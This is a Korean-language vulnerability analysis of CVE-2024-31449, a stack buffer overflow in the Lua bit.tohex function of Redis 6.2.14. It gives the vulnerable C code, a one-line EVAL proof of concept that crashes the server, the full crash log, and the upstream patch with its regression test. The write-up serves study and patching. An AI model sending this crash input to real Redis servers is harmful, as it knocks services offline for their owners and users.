Table of Contents
Introduction #
본 취약점은 Redis 6.2.16 이전 버전 Lua의 16진수 문자열 변환 기능에서 발생한 스택 버퍼 오버플로우이다. 이 취약점은 스택 버퍼의 범위를 넘어선 쓰기를 가능하게 한다. 본 글에서는 Redis 6.2.14 버전을 기준으로 이 취약점을 알아볼 것이다[1, 2, 3].
Root-cause Analysis #
Redis의 Lua 구현에서 bit_tohex 함수 코드는 다음과 같다 (deps/lua/src/lua_bit.c에서 발췌)[3].
1static int bit_tohex(lua_State *L)
2{
3 UBits b = barg(L, 1);
4 SBits n = lua_isnone(L, 2) ? 8 : (SBits)barg(L, 2);
5 const char *hexdigits = "0123456789abcdef";
6 char buf[8];
7 int i;
8 if (n < 0) { n = -n; hexdigits = "0123456789ABCDEF"; }
9 if (n > 8) n = 8;
10 for (i = (int)n; --i >= 0; ) { buf[i] = hexdigits[b & 15]; b >>= 4; }
11 lua_pushlstring(L, buf, (size_t)n);
12 return 1;
13}
위 코드에서 변수 n을 검증하는 코드는 특정 값에서는 불충분하다. 다음 코드를 컴파일하여 실행해보면 음수가 여전히 검증 코드를 통과함을 알 수 있다.
1#include <stdio.h>
2#include <stdint.h>
3
4#define MYPTRDIFF_MIN 0x80000000
5
6/* gcc test.c */
7int main()
8{
9 int i;
10 int32_t n;
11
12 n = MYPTRDIFF_MIN;
13 printf("n: %x\n", n);
14
15 if (n < 0) {
16 n = -n;
17 printf("n: %x\n", n);
18 puts("n is negative");
19 }
20 if (n > 8) {
21 n = 8;
22 puts("n is greater than 8");
23 }
24
25 i = (int) n;
26 printf("i: %d\n", i);
27 return 0;
28}
1$ gcc test.c
2$ ./a.out
3n: 80000000
4n: 80000000
5n is negative
6i: -2147483648
7$
Proof-of-Concept #
Redis 커맨드 라인은 Lua 스크립트를 실행하기 위한 EVAL 명령어를 제공한다. 그리고 상기에 다룬 bit_tohex()는 Lua 스크립트에서 bit.tohex()로 호출할 수 있다. 또, Lua 스크립트에서는 ARGV를 사용하여 인자를 받을 수 있는데, 인자들은 barg()를 거쳐 bit_tohex() 내에서 사용된다. 이로부터 다음과 같이 코드를 작성할 수 있다[4, 5, 6].
1EVAL "return bit.tohex(ARGV[1], ARGV[2])" 0 0xff 0x80000000
위 코드를 Redis 커맨드 라인에서 실행하면 Redis 서버에서 segmentation fault가 발생한다.
1$ ./redis-server
284694:C 05 Apr 2026 19:14:35.621 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
384694:C 05 Apr 2026 19:14:35.621 # Redis version=6.2.14, bits=64, commit=00000000, modified=0, pid=84694, just started
484694:C 05 Apr 2026 19:14:35.621 # Warning: no config file specified, using the default config. In order to specify a config file use ./redis-server /path/to/redis.conf
584694:M 05 Apr 2026 19:14:35.622 * Increased maximum number of open files to 10032 (it was originally set to 1024).
684694:M 05 Apr 2026 19:14:35.622 * monotonic clock: POSIX clock_gettime
7 _._
8 _.-``__ ''-._
9 _.-`` `. `_. ''-._ Redis 6.2.14 (00000000/0) 64 bit
10 .-`` .-```. ```\/ _.,_ ''-._
11 ( ' , .-` | `, ) Running in standalone mode
12 |`-._`-...-` __...-.``-._|'` _.-'| Port: 6379
13 | `-._ `._ / _.-' | PID: 84694
14 `-._ `-._ `-./ _.-' _.-'
15 |`-._`-._ `-.__.-' _.-'_.-'|
16 | `-._`-._ _.-'_.-' | https://redis.io
17 `-._ `-._`-.__.-'_.-' _.-'
18 |`-._`-._ `-.__.-' _.-'_.-'|
19 | `-._`-._ _.-'_.-' |
20 `-._ `-._`-.__.-'_.-' _.-'
21 `-._ `-.__.-' _.-'
22 `-._ _.-'
23 `-.__.-'
24
2584694:M 05 Apr 2026 19:14:35.622 # Server initialized
2684694:M 05 Apr 2026 19:14:35.622 # WARNING Memory overcommit must be enabled! Without it, a background save or replication may fail under low memory condition. Being disabled, it can can also cause failures without low memory condition, see https://github.com/jemalloc/jemalloc/issues/1328. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
2784694:M 05 Apr 2026 19:14:35.766 * Loading RDB produced by version 6.2.14
2884694:M 05 Apr 2026 19:14:35.766 * RDB age 179782 seconds
2984694:M 05 Apr 2026 19:14:35.766 * RDB memory usage when created 0.78 Mb
3084694:M 05 Apr 2026 19:14:35.766 # Done loading RDB, keys loaded: 1, keys expired: 0.
3184694:M 05 Apr 2026 19:14:35.766 * DB loaded from disk: 0.143 seconds
3284694:M 05 Apr 2026 19:14:35.766 * Ready to accept connections
33
34
35=== REDIS BUG REPORT START: Cut & paste starting from here ===
3684694:M 05 Apr 2026 19:15:01.078 # Redis 6.2.14 crashed by signal: 11, si_code: 1
3784694:M 05 Apr 2026 19:15:01.078 # Accessing address: 0x7ffcf311b20f
3884694:M 05 Apr 2026 19:15:01.078 # Crashed running the instruction at: 0x643c3e98f348
39
40------ STACK TRACE ------
41EIP:
42./redis-server *:6379(+0x131348)[0x643c3e98f348]
43
44Backtrace:
45/lib/x86_64-linux-gnu/libc.so.6(+0x42520)[0x78cba1842520]
46./redis-server *:6379(+0x131348)[0x643c3e98f348]
47./redis-server *:6379(+0x1192fa)[0x643c3e9772fa]
48./redis-server *:6379(+0x1239c1)[0x643c3e9819c1]
49./redis-server *:6379(+0x1199ad)[0x643c3e9779ad]
50./redis-server *:6379(+0x118c53)[0x643c3e976c53]
51./redis-server *:6379(+0x119b64)[0x643c3e977b64]
52./redis-server *:6379(lua_pcall+0x5c)[0x643c3e974c8c]
53./redis-server *:6379(evalGenericCommand+0x1fe)[0x643c3e918e8e]
54./redis-server *:6379(call+0xee)[0x643c3e8ac8fe]
55./redis-server *:6379(processCommand+0x763)[0x643c3e8ae803]
56./redis-server *:6379(processInputBuffer+0x103)[0x643c3e8c2c93]
57./redis-server *:6379(+0x1071a4)[0x643c3e9651a4]
58./redis-server *:6379(+0x46328)[0x643c3e8a4328]
59./redis-server *:6379(aeMain+0x1d)[0x643c3e8a4ddd]
60./redis-server *:6379(main+0x328)[0x643c3e8a0e98]
61/lib/x86_64-linux-gnu/libc.so.6(+0x29d90)[0x78cba1829d90]
62/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0x80)[0x78cba1829e40]
63./redis-server *:6379(_start+0x25)[0x643c3e8a13b5]
64
65------ REGISTERS ------
6684694:M 05 Apr 2026 19:15:01.080 #
67RAX:00007ffcf311b20e RBX:000000000000000f
68RCX:00007ffc7311b20f RDX:0000000000000046
69RDI:00007ffc7311b210 RSI:0000643c3ea2b257
70RBP:0000643c480ff4f0 RSP:00007ffc7311b210
71R8 :0000000000000000 R9 :0000000000000000
72R10:0010000000000000 R11:0010000000000000
73R12:ffffffff80000000 R13:0000643c48109c2c
74R14:0000643c480ff790 R15:0000643c480ff4f0
75RIP:0000643c3e98f348 EFL:0000000000010206
76CSGSFS:002b000000000033
7784694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b21f) -> 0000643c3ea29ae8
7884694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b21e) -> 0000643c48109c2c
7984694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b21d) -> 0000643c480ff790
8084694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b21c) -> 0000000000000000
8184694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b21b) -> 0000643c480ff4f0
8284694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b21a) -> 000000000000b000
8384694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b219) -> 0000643c480ff7b0
8484694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b218) -> 000078cba1522640
8584694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b217) -> 0000643c3e98034d
8684694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b216) -> 0000643c480ff7b0
8784694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b215) -> 0000643c3e9772fa
8884694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b214) -> 0000643c480ff790
8984694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b213) -> 00000000ffffffff
9084694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b212) -> 0000643c480ff7a0
9184694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b211) -> afc5cf09ccb7a200
9284694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b210) -> 0000643c48109c40
93
94------ INFO OUTPUT ------
95# Server
96redis_version:6.2.14
97redis_git_sha1:00000000
98redis_git_dirty:0
99redis_build_id:2b4797676fee72f0
100redis_mode:standalone
101os:Linux 6.8.0-106-generic x86_64
102arch_bits:64
103monotonic_clock:POSIX clock_gettime
104multiplexing_api:epoll
105atomicvar_api:c11-builtin
106gcc_version:12.3.0
107process_id:84694
108process_supervised:no
109run_id:0c7db82567fcc1884fb016091944e7a9df69d997
110tcp_port:6379
111server_time_usec:1775384101078086
112uptime_in_seconds:26
113uptime_in_days:0
114hz:10
115configured_hz:10
116lru_clock:13776421
117executable:/home/omacs/org/va/1day/cve-2024-31449/redis-6.2.14/src/./redis-server
118config_file:
119io_threads_active:0
120
121# Clients
122connected_clients:1
123cluster_connections:0
124maxclients:10000
125client_recent_max_input_buffer:16
126client_recent_max_output_buffer:0
127blocked_clients:0
128tracking_clients:0
129clients_in_timeout_table:0
130
131# Memory
132used_memory:876064
133used_memory_human:855.53K
134used_memory_rss:5898240
135used_memory_rss_human:5.62M
136used_memory_peak:933920
137used_memory_peak_human:912.03K
138used_memory_peak_perc:93.81%
139used_memory_overhead:832680
140used_memory_startup:811936
141used_memory_dataset:43384
142used_memory_dataset_perc:67.65%
143allocator_allocated:1032368
144allocator_active:1253376
145allocator_resident:4067328
146total_system_memory:16558194688
147total_system_memory_human:15.42G
148used_memory_lua:31744
149used_memory_lua_human:31.00K
150used_memory_scripts:144
151used_memory_scripts_human:144B
152number_of_cached_scripts:1
153maxmemory:0
154maxmemory_human:0B
155maxmemory_policy:noeviction
156allocator_frag_ratio:1.21
157allocator_frag_bytes:221008
158allocator_rss_ratio:3.25
159allocator_rss_bytes:2813952
160rss_overhead_ratio:1.45
161rss_overhead_bytes:1830912
162mem_fragmentation_ratio:7.08
163mem_fragmentation_bytes:5065216
164mem_not_counted_for_evict:0
165mem_replication_backlog:0
166mem_clients_slaves:0
167mem_clients_normal:20496
168mem_aof_buffer:0
169mem_allocator:jemalloc-5.1.0
170active_defrag_running:0
171lazyfree_pending_objects:0
172lazyfreed_objects:0
173
174# Persistence
175loading:0
176current_cow_size:0
177current_cow_size_age:0
178current_fork_perc:0.00
179current_save_keys_processed:0
180current_save_keys_total:0
181rdb_changes_since_last_save:0
182rdb_bgsave_in_progress:0
183rdb_last_save_time:1775384075
184rdb_last_bgsave_status:ok
185rdb_last_bgsave_time_sec:-1
186rdb_current_bgsave_time_sec:-1
187rdb_last_cow_size:0
188aof_enabled:0
189aof_rewrite_in_progress:0
190aof_rewrite_scheduled:0
191aof_last_rewrite_time_sec:-1
192aof_current_rewrite_time_sec:-1
193aof_last_bgrewrite_status:ok
194aof_last_write_status:ok
195aof_last_cow_size:0
196module_fork_in_progress:0
197module_fork_last_cow_size:0
198
199# Stats
200total_connections_received:1
201total_commands_processed:1
202instantaneous_ops_per_sec:0
203total_net_input_bytes:106
204total_net_output_bytes:20324
205instantaneous_input_kbps:0.00
206instantaneous_output_kbps:0.00
207rejected_connections:0
208sync_full:0
209sync_partial_ok:0
210sync_partial_err:0
211expired_keys:0
212expired_stale_perc:0.00
213expired_time_cap_reached_count:0
214expire_cycle_cpu_milliseconds:0
215evicted_keys:0
216keyspace_hits:0
217keyspace_misses:0
218pubsub_channels:0
219pubsub_patterns:0
220latest_fork_usec:0
221total_forks:0
222migrate_cached_sockets:0
223slave_expires_tracked_keys:0
224active_defrag_hits:0
225active_defrag_misses:0
226active_defrag_key_hits:0
227active_defrag_key_misses:0
228tracking_total_keys:0
229tracking_total_items:0
230tracking_total_prefixes:0
231unexpected_error_replies:0
232total_error_replies:0
233dump_payload_sanitizations:0
234total_reads_processed:2
235total_writes_processed:1
236io_threaded_reads_processed:0
237io_threaded_writes_processed:0
238
239# Replication
240role:master
241connected_slaves:0
242master_failover_state:no-failover
243master_replid:0c07a83450097531d807d1ff41c9821b6ac1d467
244master_replid2:0000000000000000000000000000000000000000
245master_repl_offset:0
246second_repl_offset:-1
247repl_backlog_active:0
248repl_backlog_size:1048576
249repl_backlog_first_byte_offset:0
250repl_backlog_histlen:0
251
252# CPU
253used_cpu_sys:0.035854
254used_cpu_user:0.021729
255used_cpu_sys_children:0.000000
256used_cpu_user_children:0.000000
257used_cpu_sys_main_thread:0.035664
258used_cpu_user_main_thread:0.021614
259
260# Modules
261
262# Commandstats
263cmdstat_command:calls=1,usec=766,usec_per_call=766.00,rejected_calls=0,failed_calls=0
264
265# Errorstats
266
267# Cluster
268cluster_enabled:0
269
270# Keyspace
271db0:keys=1,expires=0,avg_ttl=0
272
273------ CLIENT LIST OUTPUT ------
274id=3 addr=127.0.0.1:59854 laddr=127.0.0.1:6379 fd=8 name= age=23 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=89 qbuf-free=40865 argv-mem=53 obl=0 oll=0 omem=0 tot-mem=61533 events=r cmd=eval user=default redir=-1
275
276------ CURRENT CLIENT INFO ------
277id=3 addr=127.0.0.1:59854 laddr=127.0.0.1:6379 fd=8 name= age=23 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=89 qbuf-free=40865 argv-mem=53 obl=0 oll=0 omem=0 tot-mem=61533 events=r cmd=eval user=default redir=-1
278argv[0]: 'EVAL'
279argv[1]: 'return bit.tohex(ARGV[1], ARGV[2])'
280argv[2]: '0'
281argv[3]: '0xff'
282argv[4]: '0x80000000'
283
284------ MODULES INFO OUTPUT ------
285
286------ FAST MEMORY TEST ------
28784694:M 05 Apr 2026 19:15:01.081 # Bio thread for job type #0 terminated
28884694:M 05 Apr 2026 19:15:01.081 # Bio thread for job type #1 terminated
28984694:M 05 Apr 2026 19:15:01.081 # Bio thread for job type #2 terminated
290*** Preparing to test memory region 643c3ea7e000 (2277376 bytes)
291*** Preparing to test memory region 643c480fa000 (135168 bytes)
292*** Preparing to test memory region 78cb9e7fd000 (8388608 bytes)
293*** Preparing to test memory region 78cb9effe000 (8388608 bytes)
294*** Preparing to test memory region 78cb9f7ff000 (8388608 bytes)
295*** Preparing to test memory region 78cba0000000 (8388608 bytes)
296*** Preparing to test memory region 78cba1000000 (8388608 bytes)
297*** Preparing to test memory region 78cba1a1c000 (53248 bytes)
298*** Preparing to test memory region 78cba1ab2000 (16384 bytes)
299*** Preparing to test memory region 78cba1bb9000 (8192 bytes)
300.O.O.O.O.O.O.O.O.O.O
301Fast memory test PASSED, however your memory can still be broken. Please run a memory test for several hours if possible.
302
303------ DUMPING CODE AROUND EIP ------
304Symbol: (null) (base: (nil))
305Module: ./redis-server *:6379 (base 0x643c3e85e000)
306$ xxd -r -p /tmp/dump.hex /tmp/dump.bin
307$ objdump --adjust-vma=(nil) -D -b binary -m i386:x86-64 /tmp/dump.bin
308------
309
310=== REDIS BUG REPORT END. Make sure to include from START to END. ===
311
312 Please report the crash by opening an issue on github:
313
314 http://github.com/redis/redis/issues
315
316 If a Redis module was involved, please open in the module's repo instead.
317
318 Suspect RAM error? Use redis-server --test-memory to verify it.
319
320 Some other issues could be detected by redis-server --check-system
321Segmentation fault (core dumped)
Patch #
패치는 문제가 된 값인 0x80000000을 처리하는 코드를 추가하는 방식으로 진행되었다[1].
1diff --git a/deps/lua/src/lua_bit.c b/deps/lua/src/lua_bit.c
2index 690df7d3ce6..a459ca98b18 100644
3--- a/deps/lua/src/lua_bit.c
4+++ b/deps/lua/src/lua_bit.c
5@@ -131,6 +131,7 @@ static int bit_tohex(lua_State *L)
6 const char *hexdigits = "0123456789abcdef";
7 char buf[8];
8 int i;
9+ if (n == INT32_MIN) n = INT32_MIN+1;
10 if (n < 0) { n = -n; hexdigits = "0123456789ABCDEF"; }
11 if (n > 8) n = 8;
12 for (i = (int)n; --i >= 0; ) { buf[i] = hexdigits[b & 15]; b >>= 4; }
13diff --git a/tests/unit/scripting.tcl b/tests/unit/scripting.tcl
14index 2e3a936c4e6..2381927cda2 100644
15--- a/tests/unit/scripting.tcl
16+++ b/tests/unit/scripting.tcl
17@@ -528,6 +528,12 @@ start_server {tags {"scripting"}} {
18 set e
19 } {ERR*Attempt to modify a readonly table*}
20
21+ test {lua bit.tohex bug} {
22+ set res [r eval {return bit.tohex(65535, -2147483648)} 0]
23+ r ping
24+ set res
25+ } {0000FFFF}
26+
27 test {Test an example script DECR_IF_GT} {
28 set decr_if_gt {
29 local current
References #
- oranagra, "Fix lua bit.tohex (CVE-2024-31449)." github.com, Accessed: Apr. 04, 2026. [Online]. Available: https://github.com/redis/redis/commit/1f7c148be2cbacf7d50aa461c58b871e87cc5ed9#diff-02e137d15d64a8f8f039d7c0a313402ac32e8a78245fc6ba85804a57c8f07f51
- "CVE-2024-31449 Detail." nvd.nist.gov, Accessed: Apr. 04, 2026. [Online]. Available: https://nvd.nist.gov/vuln/detail/CVE-2024-31449
- antirez et al., "redis", (Version 6.2.14) [Source Code]. https://github.com/redis/redis
- "Scripting with Lua." redis.io, Accessed: Apr. 04, 2026. [Online]. Available: https://redis.io/docs/latest/develop/programmability/eval-intro/
- "Redis Lua API reference." redis.io, Accessed: Apr. 04, 2026. [Online]. Available: https://redis.io/docs/latest/develop/programmability/lua-api/
- "Install Redis from Source." redis.io, Accessed: Apr. 04, 2026. [Online]. Available: https://redis.io/docs/latest/operate/oss_and_stack/install/archive/install-redis/install-redis-from-source/
last updated: